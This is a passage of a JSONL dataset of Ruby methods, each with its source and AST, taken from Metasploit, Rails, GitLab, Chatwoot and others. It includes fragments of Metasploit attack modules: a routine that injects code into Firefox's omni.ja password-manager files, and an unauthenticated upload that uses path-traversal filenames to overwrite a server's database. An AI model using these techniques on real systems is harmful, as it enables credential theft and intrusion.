end","complexity_score":43.8,"ast_json":"{\"type\":\"def\",\"children\":[\"decrypt_modify_omnija\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"zip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"components/storage-mozStorage.js\"]},{\"type\":\"str\",\"children\":[\"chrome/toolkit/content/passwordmgr/passwordManager.xul\"]},{\"type\":\"str\",\"children\":[\"chrome/toolkit/content/global/commonDialog.xul\"]},{\"type\":\"str\",\"children\":[\"jsloader/resource/gre/components/storage-mozStorage.js\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arya\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"omnija_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fdata\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"omnija_file\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"jsloader\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fdata\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"omnija_file\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fdata\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"outs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip\"]},\"get_output_stream\",{\"type\":\"lvar\",\"children\":[\"omnija_file\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Was not able to find '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"omnija_file\"]}]},{\"type\":\"str\",\"children\":[\"' in the compressed .JA file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"This could be due to a corrupt download or a unsupported Firefox/Iceweasel version\"]}]},{\"type\":\"break\",\"children\":[]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"fdata\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stor_js\"]},{\"type\":\"lvasgn\",\"children\":[\"pwd_xul\"]},{\"type\":\"lvasgn\",\"children\":[\"dlog_xul\"]},{\"type\":\"lvasgn\",\"children\":[\"res_js\"]}]},{\"type\":\"lvar\",\"children\":[\"arya\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stor_js\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"outs_res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_js\"]},\"[]\",{\"type\":\"str\",\"children\":[\"outs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wnd_close\",{\"type\":\"str\",\"children\":[\"window.close();\"]}]},{\"type\":\"lvasgn\",\"children\":[\"onload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Startup(); SignonsStartup(); \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wnd_close\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dlog_xul\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"commonDialogOnLoad\\\\(\\\\);\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"wnd_close\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dlog_xul\"]},\"[]\",{\"type\":\"str\",\"children\":[\"outs\"]}]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dlog_xul\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dlog_xul\"]},\"[]\",{\"type\":\"str\",\"children\":[\"outs\"]}]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"[1/2] XUL injected - commonDialog.xul\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pwd_xul\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Startup\\\\(\\\\); SignonsStartup\\\\(\\\\);\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"onload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pwd_xul\"]},\"[]\",{\"type\":\"str\",\"children\":[\"outs\"]}]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pwd_xul\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pwd_xul\"]},\"[]\",{\"type\":\"str\",\"children\":[\"outs\"]}]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"[2/2] XUL injected - passwordManager.xul\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"decrypt_patch_method\",{\"type\":\"lvar\",\"children\":[\"stor_js\"]}]}]}]}]}","id":"e9444ca4-f8ee-4d64-a56f-becfbd2d56b4"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/service_matchers.rb","start_line":201,"raw_source":"def fail_with_exception(exception = StandardError)\n    FailWithException.new(exception)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fail_with_exception\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"exception\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FailWithException\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}","id":"4e97aaed-709f-440c-a6e9-6a1878ae9a92"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/channel/web_widget.rb","start_line":102,"raw_source":"def create_contact_inbox(additional_attributes = {})\n    ::ContactInboxWithContactBuilder.new({\n                                           inbox: inbox,\n                                           contact_attributes: { additional_attributes: additional_attributes }\n                                         }).perform\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_contact_inbox\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"additional_attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ContactInboxWithContactBuilder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox\"]},{\"type\":\"send\",\"children\":[null,\"inbox\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact_attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional_attributes\"]},{\"type\":\"lvar\",\"children\":[\"additional_attributes\"]}]}]}]}]}]},\"perform\"]}]}","id":"d2f6f18f-7e32-4ab5-9960-1608d16fb2d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/quick_actions/issue_actions.rb","start_line":367,"raw_source":"def mark_as_duplicate_message(canonical_item, for_explain)\n        canonical_item_url = Gitlab::UrlBuilder.build(canonical_item)\n        if for_explain\n          _(\"Closes this %{work_item_type}. Marks as related to, and a duplicate of, %{duplicate_param}.\") % {\n            work_item_type: quick_action_target.work_item_type.name, duplicate_param: canonical_item_url\n          }\n        else\n          _(\"Closed this %{work_item_type}. Marked as related to, and a duplicate of, %{duplicate_param}.\") % {\n            work_item_type: quick_action_target.work_item_type.name, duplicate_param: canonical_item_url\n          }\n        end\n      end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_as_duplicate_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"canonical_item\"]},{\"type\":\"arg\",\"children\":[\"for_explain\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"canonical_item_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UrlBuilder\"]},\"build\",{\"type\":\"lvar\",\"children\":[\"canonical_item\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"for_explain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Closes this %{work_item_type}. Marks as related to, and a duplicate of, %{duplicate_param}.\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quick_action_target\"]},\"work_item_type\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duplicate_param\"]},{\"type\":\"lvar\",\"children\":[\"canonical_item_url\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Closed this %{work_item_type}. Marked as related to, and a duplicate of, %{duplicate_param}.\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quick_action_target\"]},\"work_item_type\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duplicate_param\"]},{\"type\":\"lvar\",\"children\":[\"canonical_item_url\"]}]}]}]}]}]}]}","id":"4cea5b95-9edf-4958-9850-4e224d1f1913"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/ipynbdiff/spec/test_helper.rb","start_line":43,"raw_source":"def read_test_case(test_case_name)\n  {\n    input: read_file_if_exists(test_case_input_path(test_case_name)) ||\n      read_file_if_exists(test_case_input_path_test(test_case_name)),\n    expected_markdown: read_file_if_exists(test_case_md_path(test_case_name)),\n    expected_symbols: read_file_if_exists(test_case_symbols_path(test_case_name)),\n    expected_line_numbers: read_file_if_exists(test_case_line_numbers_path(test_case_name))\n  }\nend","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"read_test_case\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_case_name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file_if_exists\",{\"type\":\"send\",\"children\":[null,\"test_case_input_path\",{\"type\":\"lvar\",\"children\":[\"test_case_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"read_file_if_exists\",{\"type\":\"send\",\"children\":[null,\"test_case_input_path_test\",{\"type\":\"lvar\",\"children\":[\"test_case_name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_markdown\"]},{\"type\":\"send\",\"children\":[null,\"read_file_if_exists\",{\"type\":\"send\",\"children\":[null,\"test_case_md_path\",{\"type\":\"lvar\",\"children\":[\"test_case_name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_symbols\"]},{\"type\":\"send\",\"children\":[null,\"read_file_if_exists\",{\"type\":\"send\",\"children\":[null,\"test_case_symbols_path\",{\"type\":\"lvar\",\"children\":[\"test_case_name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_line_numbers\"]},{\"type\":\"send\",\"children\":[null,\"read_file_if_exists\",{\"type\":\"send\",\"children\":[null,\"test_case_line_numbers_path\",{\"type\":\"lvar\",\"children\":[\"test_case_name\"]}]}]}]}]}]}","id":"530291cc-a302-461c-93f7-a23e748d8c0a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/env_assignment.rb","start_line":45,"raw_source":"def env_value(node)\n          node.children[3].source\n        end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"env_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"source\"]}]}","id":"d5857ec8-96c8-4d0b-90fc-812fd8f61341"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/message.rb","start_line":213,"raw_source":"def auto_reply_email?\n    return false unless incoming_email? || inbox.email?\n\n    content_attributes.dig(:email, :auto_reply) == true\n  end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"auto_reply_email?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incoming_email?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"email?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_attributes\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"sym\",\"children\":[\"auto_reply\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"c8f8be91-6ee9-47e7-9951-6381ae0771d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/exploit/virustotal.rb","start_line":127,"raw_source":"def _get_setting(key_name)\n    ini = Rex::Parser::Ini.new(@config_file)\n    group = ini[@group_name]\n    return nil if group.nil?\n    return nil if group[key_name].nil?\n\n    group[key_name]\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"_get_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ini\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Ini\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@config_file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ini\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@group_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key_name\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key_name\"]}]}]}]}","id":"5ddb92fb-9f58-4a22-8147-3d82d92bb8ca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/date_time_test.rb","start_line":47,"raw_source":"def test_assign_empty_date_time\n    task = Task.new\n    task.starting = \"\"\n    task.ending = nil\n    assert_nil task.starting\n    assert_nil task.ending\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assign_empty_date_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Task\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"starting=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"ending=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"starting\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"ending\"]}]}]}]}","id":"38da0247-3819-447b-9946-5dba51a8e21a"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/shared/with_settings.rb","start_line":46,"raw_source":"def reset(setting, **definitions)\n    setting = setting.to_sym\n    definitions = Settings::Definition::DEFINITIONS[setting] if definitions.empty?\n    Settings::Definition.all.delete(setting)\n    Settings::Definition.add(setting, **definitions)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]},{\"type\":\"kwrestarg\",\"children\":[\"definitions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"setting\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]},\"to_sym\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definitions\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"definitions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Definition\"]},\"DEFINITIONS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"setting\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Definition\"]},\"all\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Definition\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"setting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definitions\"]}]}]}]}]}]}","id":"3bf69997-1e3f-4d51-aea1-ddb3477a1866"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/byob_unauth_rce.rb","start_line":309,"raw_source":"def upload_database_multiple_paths\n    successful_paths = []\n    filepaths = [\n      '/proc/self/cwd/buildyourownbotnet/database.db',\n      '/proc/self/cwd/../buildyourownbotnet/database.db',\n      '/proc/self/cwd/../../../../buildyourownbotnet/database.db',\n      '/proc/self/cwd/instance/database.db',\n      '/proc/self/cwd/../../../../instance/database.db',\n      '/proc/self/cwd/../instance/database.db'\n    ]\n\n    filepaths.each do |filepath|\n      form_data = {\n        'data' => @encoded_db,\n        'filename' => filepath,\n        'type' => 'txt',\n        'owner' => Faker::Internet.username,\n        'module' => Faker::App.name.downcase,\n        'session' => Faker::Alphanumeric.alphanumeric(number: 8)\n      }\n\n      res = send_request_cgi(\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'),\n        'ctype' => 'application/x-www-form-urlencoded',\n        'vars_post' => form_data,\n        'keep_cookies' => true\n      )\n\n      successful_paths << filepath if res&.code == 200\n    end\n\n    successful_paths\n  end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_database_multiple_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"successful_paths\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"filepaths\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/proc/self/cwd/buildyourownbotnet/database.db\"]},{\"type\":\"str\",\"children\":[\"/proc/self/cwd/../buildyourownbotnet/database.db\"]},{\"type\":\"str\",\"children\":[\"/proc/self/cwd/../../../../buildyourownbotnet/database.db\"]},{\"type\":\"str\",\"children\":[\"/proc/self/cwd/instance/database.db\"]},{\"type\":\"str\",\"children\":[\"/proc/self/cwd/../../../../instance/database.db\"]},{\"type\":\"str\",\"children\":[\"/proc/self/cwd/../instance/database.db\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filepaths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filepath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"form_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"ivar\",\"children\":[\"@encoded_db\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filepath\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"txt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"owner\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Internet\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"App\"]},\"name\"]},\"downcase\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Alphanumeric\"]},\"alphanumeric\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"number\"]},{\"type\":\"int\",\"children\":[8]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"file\"]},{\"type\":\"str\",\"children\":[\"add\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"lvar\",\"children\":[\"form_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"successful_paths\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"filepath\"]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"successful_paths\"]}]}]}","id":"00aeaa91-a775-4311-8341-01c11d8f19a6"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/hash_with_indifferent_access.rb","start_line":303,"raw_source":"def reverse_merge!(other_hash)\n      super(cast(other_hash))\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reverse_merge!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other_hash\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cast\",{\"type\":\"lvar\",\"children\":[\"other_hash\"]}]}]}]}","id":"fe5619bc-0def-4dd5-a276-9cecffeac5b1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb","start_line":2278,"raw_source":"def cmd_setg_help\n    print_line \"Usage: setg [option] [value]\"\n    print_line\n    print_line \"Exactly like set -g, set a value in the global datastore.\"\n    print @@setg_opts.usage\n    print_line\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_setg_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: setg [option] [value]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Exactly like set -g, set a value in the global datastore.\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@setg_opts\"]},\"usage\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"2dd5eab3-92c4-4967-8be9-ab5b02c692a0"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/generators_test_helper.rb","start_line":114,"raw_source":"def evaluate_template(file, locals = {})\n    erb = ERB.new(File.read(file), trim_mode: \"-\", eoutvar: \"@output_buffer\")\n    context = Class.new do\n      locals.each do |local, value|\n        class_attribute local, default: value\n      end\n    end\n    erb.result(context.new.instance_eval(\"binding\"))\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate_template\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"optarg\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"erb\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trim_mode\"]},{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eoutvar\"]},{\"type\":\"str\",\"children\":[\"@output_buffer\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"context\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locals\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"local\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"class_attribute\",{\"type\":\"lvar\",\"children\":[\"local\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"erb\"]},\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"new\"]},\"instance_eval\",{\"type\":\"str\",\"children\":[\"b